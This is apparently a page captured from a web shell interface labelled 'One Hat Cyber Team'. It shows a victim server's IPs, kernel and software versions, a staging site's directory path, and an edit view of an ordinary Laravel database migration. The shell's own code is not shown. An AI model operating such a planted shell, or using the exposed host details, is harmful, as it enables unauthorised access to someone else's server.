One Hat Cyber Team
Your IP :
3.144.130.238
Server IP :
104.21.64.1
Server :
Linux agrigation-prod 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64
Server Software :
nginx/1.24.0
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
forge
/
staging.gftag.com
/
database
/
migrations
/
Edit File:
2023_11_23_072333_create_items_table.php
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('items', function (Blueprint $table) { $table->id(); $table->foreignId('organisation_id')->references('id')->on('organisations'); $table->string('name'); $table->string('pack_of')->nullable(); $table->string('description')->nullable(); $table->enum('type', ['product', 'service'])->default('product');; $table->float('po_rate')->nullable(); $table->float('sale_rate')->nullable(); $table->float('tcs_rate')->nullable(); $table->float('hsn_code')->nullable(); $table->float('sgst_rate')->nullable(); $table->float('cgst_rate')->nullable(); $table->float('igst_rate')->nullable(); $table->timestamp('created_at')->default(DB::raw('CURRENT_TIMESTAMP')); $table->timestamp('updated_at')->default(DB::raw('CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP')); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('items'); } };
Simpan